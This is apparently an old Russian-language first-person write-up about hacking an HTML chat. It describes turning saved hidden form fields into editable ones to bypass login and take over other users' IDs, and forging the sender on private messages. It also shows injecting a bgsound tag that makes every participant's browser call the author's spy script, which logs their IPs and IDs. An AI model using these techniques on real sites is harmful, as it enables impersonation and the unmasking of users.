О
"взломах" HTML чатов
В любом чате фрейм, в котором ты пишешь
сообщения, генерится динамически (для каждого входящего) и, возможно, содержит
несколько скрытых полей. Типа <input type=hidden name=cookie value=SP202134>
(так в партизанах хранится UserID)
Идея в следующем: сохраняем содержимое
этого фрейма на диске и исправляем его так, что бы можно было с ним работать
со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный
путь www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем
типа <input type=text name=cookie value=SP202134> (что бы можно было
их изменять) После этого делаем HTML документ для "сборки чата" из кусков.
Т.е. примерно так
"First.htm"
<html>
<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg"
src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">
<frame name="rigt"
src="http://www.chat.nsk.su/right.html">
</frameset>
<frame name="bot" src="start.htm">
</frameset>
</html>
Start.htm - это и есть тот фрейм который
я сохранил и изменил
После этого я просто броузером открывал
эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную
процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет
взятия чужого ID'a
Дальше мне стало интересно вычислить IP
участников. Я обнаружил, что не запрещён тэг <bgsound src="">. Это позволило
вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на
хер не нужен, но этот косяк позволил вставить в свой месс строку типа <bgsound
src="http://MyIP/cgi-bin/spy.exe">. Этот скрипт (spy.exe) вызывался с машины
КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял
мне на винт данные из переменной окружения REMOTE_ADDR). Это мне не очень
понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате
появились приваты. Это значит, что документ в главном фрейме (тот где мессы
все) стал называться по другому.
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end
После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end
Где SP456789 - UserID
После этого в скрипт (spy.exe) был добавлен
вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с
ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке
<br><b><font color=yellow
size=-1>Тут ник</font></b>
<font color=black><a
href="/cgi-bin/private_form.cgi?SP448188">
<img src=/img/mes.gif
border=0 vspace=0></a></font>
(Это строка взята из правого фрейма, где
можно вызвать функцию "Кто в чате")
После этого перестало быть проблемой сопоставление
ника и IP. Затем я решил позабавиться с приватами.
Используя метод сохранения странички на
винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО
КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя.
HomePage